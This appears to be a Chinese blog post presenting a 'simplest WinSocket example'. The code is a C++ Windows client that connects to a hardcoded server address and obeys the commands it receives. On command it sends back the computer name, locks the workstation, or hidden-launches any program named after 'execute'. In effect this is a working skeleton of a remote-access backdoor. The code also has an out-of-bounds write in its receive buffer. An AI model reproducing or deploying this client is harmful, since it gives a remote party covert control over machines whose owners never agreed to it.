WinSocket的最简单示例

[cpp]  view plain copy
  1. //client  
  2. #include <iostream>  
  3. #include <locale>  
  4. #include <WINSOCK2.H>  
  5. #include <Windows.h>  
  6. #include <WinUser.h>  
  7. #include <cstdio>  
  8. #define SERVER_ADDRESS "12.12.12.67" //服务器端IP地址  
  9. #define PORT           6000  
  10. #define MSGSIZE        1024  
  11. #pragma comment(lib, "ws2_32.lib")  
  12. using namespace std;  
  13.   
  14. wstring getcomputername();  
  15. void locksystem();  
  16. DWORD WINAPI FunThread(LPVOID);  
  17.   
  18. SOCKET      sClient;  
  19. SOCKADDR_IN server;  
  20.                   
  21. int main()  
  22. {   
  23.     WSADATA     wsaData;   
  24.     char        c_Message[MSGSIZE];   
  25.   
  26.     WSAStartup(0x0202, &wsaData);  
  27.   
  28.     sClient = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);  
  29.   
  30.     memset(&server, 0, sizeof(SOCKADDR_IN));               //先将保存地址的server置为全0  
  31.     server.sin_family = PF_INET;                           //声明地址格式是TCP/IP地址格式  
  32.     server.sin_port = htons(PORT);                         //指明连接服务器的端口号  
  33.     server.sin_addr.s_addr = inet_addr(SERVER_ADDRESS);    //指明连接服务器的IP地址  
  34.   
  35.     connect(sClient, (struct sockaddr *)&server, sizeof(SOCKADDR_IN));   
  36.     //连到刚才指明的服务器上  
  37.   
  38.     HANDLE hThread=CreateThread(NULL,0,FunThread,0,0,0); // Create a new thread to Recv()  
  39.     WaitForSingleObject(hThread, INFINITE);  
  40.     CloseHandle(hThread);  
  41.   
  42.     /* 
  43.     while (TRUE) 
  44.     { 
  45.        printf("Client Send:"); 
  46.        gets(c_Message);    
  47.         
  48.        send(sClient, c_Message, strlen(c_Message), 0);  
  49.        if(!strcmp(c_Message,"exit"))//client自身退出 
  50.         exit(1); 
  51.     } 
  52.     */  
  53.     // 释放连接和进行结束工作  
  54.     closesocket(sClient);  
  55.     WSACleanup();  
  56.     return 0;  
  57. }  
  58.   
  59.   
  60. DWORD WINAPI FunThread(LPVOID)  
  61. {  
  62.     char   s_Message[MSGSIZE];  
  63.     int    ret;   
  64.     while (TRUE)  
  65.     {  
  66.        ret = recv(sClient, s_Message, MSGSIZE, 0);  //Recv()  
  67.                                                       
  68.        if(ret==SOCKET_ERROR)  
  69.        {  
  70.         printf("\nServer is closed!\n");  
  71.         exit(1);  
  72.        }  
  73.   
  74.        s_Message[ret] = '\0';    
  75.        printf("\nReceived: %s\n", s_Message);  
  76.   
  77.        //分支结构  
  78.        if(strcmp(s_Message,"exit") == 0)//server让client退出  
  79.        {  
  80.             exit(1);  
  81.        }  
  82.        else if(strcmp(s_Message,"name") == 0)  
  83.        {  
  84.            wstring name = getcomputername();  
  85.            wcout<<name<<endl;  
  86.            char *c_Message = new char[MSGSIZE];  
  87.            sprintf(c_Message, "%ls", name.c_str()); //Wstring类型to char[]类型  
  88.            send(sClient, c_Message, strlen(c_Message), 0);  
  89.        }  
  90.        else if(strcmp(s_Message,"lock") == 0)  
  91.        {  
  92.            locksystem();  
  93.            char *c_Message = "Locked.\n";  
  94.            send(sClient, c_Message, strlen(c_Message), 0);  
  95.        }  
  96.        else if(strncmp(s_Message, "execute", 7) == 0) //尽比较前7个字符  
  97.        {  
  98.            char *c_Message = new char[MSGSIZE];  
  99.            strcpy(c_Message, s_Message+8); //取出后面的参数  
  100.            cout<<c_Message<<endl;  
  101.            ShellExecuteA(NULL,"open",c_Message,NULL,NULL,SW_HIDE);  
  102.        }  
  103.   
  104.     }  
  105.     return 0;  
  106. }  
  107.   
  108.   
  109. wstring getcomputername()  
  110. {  
  111.     DWORD size = 0;  
  112.     wstring wstr;  
  113.     GetComputerNameW(NULL,&size);  
  114.     wchar_t *name = new wchar_t[size];  
  115.     if(GetComputerNameW(name, &size))  
  116.         wstr = name;  
  117.     delete[] name;  
  118.     return wstr;  
  119. }  
  120.   
  121. void locksystem()  
  122. {  
  123.     LockWorkStation();  
  124. }  
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值